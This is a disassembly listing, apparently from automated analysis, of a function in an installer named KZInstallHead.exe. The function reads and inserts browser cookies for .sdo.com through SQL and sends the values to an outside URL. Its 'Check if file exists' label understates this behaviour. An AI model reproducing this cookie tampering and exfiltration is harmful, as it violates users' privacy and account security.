Function at 0x47e640
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b25e
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xc44
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xc54]
mov ecx, 0x311
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x53577c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
mov esi, esp
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x24]
call eax
cmp esi, esp
call fcn.00504bf9
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x47e6bf
mov esi, esp
mov eax, dword [ebp - 0x28]
push eax
call dword [0x50f3d4]
cmp esi, esp
call fcn.00504bf9
test eax, eax
jne 0x47e6c6
xor eax, eax
jmp 0x47ee76
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x48]
call fcn.00481310
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.00481940
movzx eax, al
test eax, eax
jne 0x47e6fc
push 0x522690
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x48]
call fcn.004819b0
mov byte [ebp - 4], 1
push str.cookies
lea ecx, [ebp - 0x48]
call fcn.00481470
mov byte [ebp - 0xc45], al
mov al, byte [ebp - 0xc45]
mov byte [ebp - 0x51], al
movzx eax, byte [ebp - 0x51]
test eax, eax
jne 0x47e750
lea ecx, [ebp - 0x48]
call fcn.00481410
mov dword [ebp - 0xc40], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.004813c0
mov eax, dword [ebp - 0xc40]
jmp 0x47ee76
jmp 0x47e777
mov dword [ebp - 4], 0
jmp 0x47e79a
lea ecx, [ebp - 0x88]
call fcn.00415ff0
mov byte [ebp - 4], 3
push str.select__from_cookies_where_host_key_.sdo.com__and_name_sdo_beacon_id_
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x48]
call fcn.004815e0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa8]
call fcn.004810e0
movzx eax, al
test eax, eax
je 0x47e948
xor eax, eax
mov word [ebp - 0x8b0], ax
push 0x7fe
push 0
lea eax, [ebp - 0x8ae]
push eax
call fcn.00453ec0
add esp, 0xc
lea ecx, [ebp - 0x88]
call fcn.00416070
mov dword [ebp - 0x8bc], eax
mov esi, esp
lea eax, [ebp - 0x8d4]
push eax
call dword [0x50f194]
cmp esi, esp
call fcn.00504bf9
lea eax, [ebp - 0x8d4]
push eax
call fcn.00414780
add esp, 4
mov dword [ebp - 0x8e4], eax
mov dword [ebp - 0x8e0], edx
push str.202605201200
call fcn.00414ae0
add esp, 4
mov ecx, dword [eax]
mov dword [ebp - 0x8fc], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x8f8], edx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x8f4], ecx
mov edx, dword [eax + 0xc]
mov dword [ebp - 0x8f0], edx
lea eax, [ebp - 0x8fc]
push eax
call fcn.00414780
add esp, 4
mov dword [ebp - 0x90c], eax
mov dword [ebp - 0x908], edx
mov eax, dword [ebp - 0x8e0]
push eax
mov ecx, dword [ebp - 0x8e4]
push ecx
mov edx, dword [ebp - 0x908]
push edx
mov eax, dword [ebp - 0x90c]
push eax
mov ecx, dword [ebp - 0x8bc]
push ecx
mov edx, dword [ebp - 0x8e0]
push edx
mov eax, dword [ebp - 0x8e4]
push eax
push str.insert_into_cookies_creation_utc_host_key_name_value_path_expires_utc_secure_httponly_last_access_utc__values__I64d_.sdo.com_sdo_beacon_id__s____I64d_0_0__I64d_
push 0x3ff
lea ecx, [ebp - 0x8b0]
push ecx
call fcn.00504da0
add esp, 0x28
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xc28], esp
lea eax, [ebp - 0x8b0]
push eax
call fcn.004042e0
mov dword [ebp - 0xc48], eax
lea ecx, [ebp - 0xc1c]
push ecx
call fcn.0040c140
add esp, 0x20
mov dword [ebp - 0xc4c], eax
mov edx, dword [ebp - 0xc4c]
mov dword [ebp - 0xc50], edx
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xc50]
call fcn.00405080
push eax
lea ecx, [ebp - 0x48]
call fcn.00481530
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xc1c]
call fcn.00403d20
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x8bc]
push eax
call fcn.00456987
add esp, 4
push 0x522690
lea ecx, [ebp - 0x930]
call fcn.00403cb0
mov byte [ebp - 4], 6
push str.select_value_from_cookies_where_host_key_.sdo.com__and_name_sdo_beacon_id_
lea eax, [ebp - 0xbf8]
push eax
lea ecx, [ebp - 0x48]
call fcn.004815e0
mov dword [ebp - 0xc48], eax
mov ecx, dword [ebp - 0xc48]
mov dword [ebp - 0xc4c], ecx
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0xc4c]
push edx
lea ecx, [ebp - 0xa8]
call fcn.00480c40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xbf8]
call fcn.00480ba0
lea ecx, [ebp - 0xa8]
call fcn.004810e0
movzx eax, al
test eax, eax
jne 0x47e9da
push 0x522690
push str.value
lea ecx, [ebp - 0xa8]
call fcn.00480f30
push eax
lea ecx, [ebp - 0x930]
call fcn.00405000
push 0x522690
lea ecx, [ebp - 0x954]
call fcn.00403cb0
mov byte [ebp - 4], 8
push str.select_value_from_cookies_where_host_key_.sdo.com__and_name_sdo_dw_track_
lea eax, [ebp - 0xbd8]
push eax
lea ecx, [ebp - 0x48]
call fcn.004815e0
mov dword [ebp - 0xc48], eax
mov ecx, dword [ebp - 0xc48]
mov dword [ebp - 0xc4c], ecx
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0xc4c]
push edx
lea ecx, [ebp - 0xa8]
call fcn.00480c40
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xbd8]
call fcn.00480ba0
lea ecx, [ebp - 0xa8]
call fcn.004810e0
movzx eax, al
test eax, eax
jne 0x47ea6c
push 0x522690
push str.value
lea ecx, [ebp - 0xa8]
call fcn.00480f30
push eax
lea ecx, [ebp - 0x954]
call fcn.00405000
lea ecx, [ebp - 0x48]
call fcn.00481410
lea ecx, [ebp - 0x960]
call fcn.00470470
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x984]
push eax
call sym.KZInstallHead.exe_public:_static_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_collecter::Task::GetCommonParam_void_
add esp, 4
mov byte [ebp - 4], 0xb
push str._isnew_:_
lea ecx, [ebp - 0x984]
call fcn.004043f0
cmp dword [ebp - 0x34], 0
je 0x47eab8
mov dword [ebp - 0xc48], 0x522bf0
jmp 0x47eac2
mov dword [ebp - 0xc48], 0x522bf4
mov eax, dword [ebp - 0xc48]
push eax
lea ecx, [ebp - 0x984]
call fcn.004043f0
push 0x513734
lea ecx, [ebp - 0x984]
call fcn.004043f0
push str._sdo_beacon_id_:_
lea ecx, [ebp - 0x984]
call fcn.004043f0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xbb8], esp
lea eax, [ebp - 0x930]
push eax
call fcn.00403cf0
mov dword [ebp - 0xc48], eax
lea ecx, [ebp - 0xbac]
push ecx
call fcn.0040c2a0
add esp, 0x20
mov dword [ebp - 0xc4c], eax
mov edx, dword [ebp - 0xc4c]
mov dword [ebp - 0xc50], edx
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0xc50]
push eax
lea ecx, [ebp - 0x984]
call fcn.004043d0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xbac]
call fcn.00404350
push 0x513734
lea ecx, [ebp - 0x984]
call fcn.004043f0
push str._sdo_dw_track_:_
lea ecx, [ebp - 0x984]
call fcn.004043f0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xb88], esp
lea eax, [ebp - 0x954]
push eax
call fcn.00403cf0
mov dword [ebp - 0xc48], eax
lea ecx, [ebp - 0xb7c]
push ecx
call fcn.0040c2a0
add esp, 0x20
mov dword [ebp - 0xc4c], eax
mov edx, dword [ebp - 0xc4c]
mov dword [ebp - 0xc50], edx
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0xc50]
push eax
lea ecx, [ebp - 0x984]
call fcn.004043d0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xb7c]
call fcn.00404350
push 0x528c90
lea ecx, [ebp - 0x984]
call fcn.004043f0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xb58], esp
lea eax, [ebp - 0x984]
push eax
call fcn.00404320
mov dword [ebp - 0xc48], eax
lea ecx, [ebp - 0x9a8]
push ecx
call fcn.0040c410
add esp, 0x20
mov dword [ebp - 0xc4c], eax
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x9a8]
push eax
lea ecx, [ebp - 0xb4c]
push ecx
lea ecx, [ebp - 0x960]
call fcn.00414e60
mov dword [ebp - 0xc48], eax
mov edx, dword [ebp - 0xc48]
mov dword [ebp - 0xc4c], edx
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0xc4c]
push eax
lea ecx, [ebp - 0x9a8]
call fcn.0040c9e0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xb4c]
call fcn.00403d20
lea eax, [ebp - 0x9a8]
push eax
push 0x528cf0
lea ecx, [ebp - 0xb28]
push ecx
call fcn.0040f430
add esp, 0xc
mov dword [ebp - 0xc48], eax
mov edx, dword [ebp - 0xc48]
mov dword [ebp - 0xc4c], edx
mov byte [ebp - 4], 0x10
push 0x528cf4
mov eax, dword [ebp - 0xc4c]
push eax
lea ecx, [ebp - 0xb04]
push ecx
call fcn.0040f4f0
add esp, 0xc
mov dword [ebp - 0xc50], eax
mov edx, dword [ebp - 0xc50]
mov dword [ebp - 0xc54], edx
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0xc54]
push eax
lea ecx, [ebp - 0x9a8]
call fcn.0040c9e0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xb04]
call fcn.00403d20
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xb28]
call fcn.00403d20
push 0x5144dc
lea ecx, [ebp - 0xae0]
call fcn.00403cb0
mov dword [ebp - 0xc48], eax
mov eax, dword [ebp - 0xc48]
mov dword [ebp - 0xc4c], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x9a8]
push ecx
mov edx, dword [ebp - 0xc4c]
push edx
lea eax, [ebp - 0xabc]
push eax
call fcn.00412c10
add esp, 0xc
mov dword [ebp - 0xc50], eax
mov ecx, dword [ebp - 0xc50]
mov dword [ebp - 0xc54], ecx
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0xc54]
push edx
lea ecx, [ebp - 0x9a8]
call fcn.0040c9e0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xabc]
call fcn.00403d20
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xae0]
call fcn.00403d20
lea ecx, [ebp - 0x9a8]
call fcn.00405080
push eax
push str.ReportCookieTask:_n_s_n
call fcn.00469aa7
add esp, 8
push str.http:__www.xiaochencc.com_act_003.php
lea ecx, [ebp - 0xa98]
call fcn.004042e0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x9a8]
call fcn.0040ca60
push eax
lea ecx, [ebp - 0x9a8]
call fcn.00405080
push eax
lea eax, [ebp - 0xa98]
push eax
call fcn.00403800
add esp, 0xc
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa98]
call fcn.00404350
mov dword [ebp - 0xa74], 1
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x9a8]
call fcn.00403d20
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x984]
call fcn.00404350
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x960]
call fcn.004704b0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x954]
call fcn.00403d20
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x930]
call fcn.00403d20
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xa8]
call fcn.00480ba0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x88]
call fcn.00416010
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.004813c0
mov eax, dword [ebp - 0xa74]
push edx
mov ecx, ebp
push eax
lea edx, [0x47eeb0]
call fcn.00504c1c
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00453735
add esp, 0xc54
cmp ebp, esp
call fcn.00504bf9
mov esp, ebp
pop ebp
ret